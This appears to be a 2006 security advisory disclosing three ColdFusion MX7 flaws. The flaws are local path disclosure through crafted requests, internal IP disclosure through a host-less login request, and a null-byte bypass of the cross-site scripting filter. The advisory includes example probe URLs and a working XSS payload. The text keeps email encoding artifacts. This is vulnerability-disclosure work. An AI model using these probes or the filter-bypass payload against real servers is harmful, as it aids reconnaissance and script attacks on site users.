Just clearing stuff out before Christmas.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D
=3D ColdFusion MX7 - Multiple Vulnerabilities
=3D
=3D Vendor Website: =20
=3D http://www.Adobe.com
=3D
=3D Affected Software:
=3D ColdFusion MX7 (and possibly MX6)
=3D
=3D Public disclosure on Monday December 11, 2006
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D

=3D=3D Overview =3D=3D

This advisory discloses three separate security issues in ColdFusion
MX7.

* Server Path Disclosure *=20

It is possible to cause the server to disclose the local path by making=20
an invalid request. This information could be used to aide in other file
or path based attacks.

The request must be for an existing file, that has an extension not=20
handled by the web server. (ie: not asp,aspx).

The request must be terminated with either of the following;
/.jws
/.cfm
/.cfml
/.cfc

Some example requests are;
http://serverip/page1.htm/a.cfm
http://serverip/CFIDE/administrator/...inus.gif/a.cfm
http://serverip/jrunscripts/jrun.ini/a.cfm
http://serverip/jrunscripts/jrunserver.store/a.cfm
http://serverip/jrunscripts/readme.txt/a.cfm

This has been confirmed against installs that do NOT have debugging or=20
robust exception information turned on.=20

Sending a request in this format returns a message similar to;
Error parsing the Tag Library Descriptor
file:/d:/sekretpath/hidden/page1.htm/..

* Internal IP Address Disclosure *

It is possible to cause the server to disclose the internal network IP
address of the host. This information could be used to aide in other=20
network based attacks.

Making a request to the /CFIDE/administrator/login.cfm page WITHOUT=20
supplying a host, will result in the internal IP address of the=20
server to be disclosed as part of an href tag.

------------------------------------------------------------------
GET /CFIDE/administrator/login.cfm HTTP/1.0


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Thu, 09 Nov 2006 05:44:02 GMT

<html>
<head>
<LINK REL=3D"SHORTCUT ICON"=20
href=3D"http://INTERNALADDRESS:80/CFIDE/administrator/favicon.ico">

------------------------------------------------------------------

* Cross Site Scripting Protection Bypass *

ColdFusion MX7 appears to have built in protection against cross=20
site scripting attacks, and will replace <script> tags with=20
<invalid tag>.

Example URL that is converted to a 'safe' format;

http://server/CFIDE/componentutils/cfcexplorer.cfc?
method=3Dgetcfcinhtmtestl&name=3DCFIDE.adminapi.ad ministrator&
path=3D/cfide/adminapi/administrator.cfctest">
<script>alert()</script>

By inserting a %00 within the <script> tag, it is possible to still=20
conduct cross site scripting attacks against users of=20
Internet Explorer.

Example URL that will have script executed;

http://server/CFIDE/componentutils/cfcexplorer.cfc?
method=3Dgetcfcinhtmtestl&name=3DCFIDE.adminapi.ad ministrator&
path=3D/cfide/adminapi/administrator.cfctest">
<%00script>alert(document.domain)</script>

=3D=3D Solutions =3D=3D

Currently, the issues outlined in the report are being considered for=20
the next major version of ColdFusion - the release date is currently not

finalized. There is currently no plan to release security bulletins for=20
any of the issues from the report

=3D=3D Credit =3D=3D

Discovered and advised to Adobe November 11, 2006 by Brett Moore of
Security-Assessment.com

=3D=3D About Security-Assessment.com =3D=3D

Security-Assessment.com is Australasia's leading team of Information=20
Security consultants specialising in providing high quality Information=20
Security services to clients throughout the Asia Pacific region. Our=20
clients include some of the largest globally recognised companies in=20
areas such as finance, telecommunications, broadcasting, legal and=20
government. Our aim is to provide the very best independent advice and=20
a high level of technical expertise while creating long and lasting=20
professional relationships with our clients.

Security-Assessment.com is committed to security research and=20
development, and its team continues to identify and responsibly publish=20
vulnerabilities in public and private software vendor's products.=20
Members of the Security-Assessment.com R&D team are globally recognised=20
through their release of whitepapers and presentations related to new=20
security research.

Security-Assessment.com is an Endorsed Commonwealth Government of=20
Australia supplier and sits on the Australian Government=20
Attorney-General's Department Critical Infrastructure Project panel.=20
We are certified by both Visa and MasterCard under their Payment=20
Card Industry Data Security Standard Programs.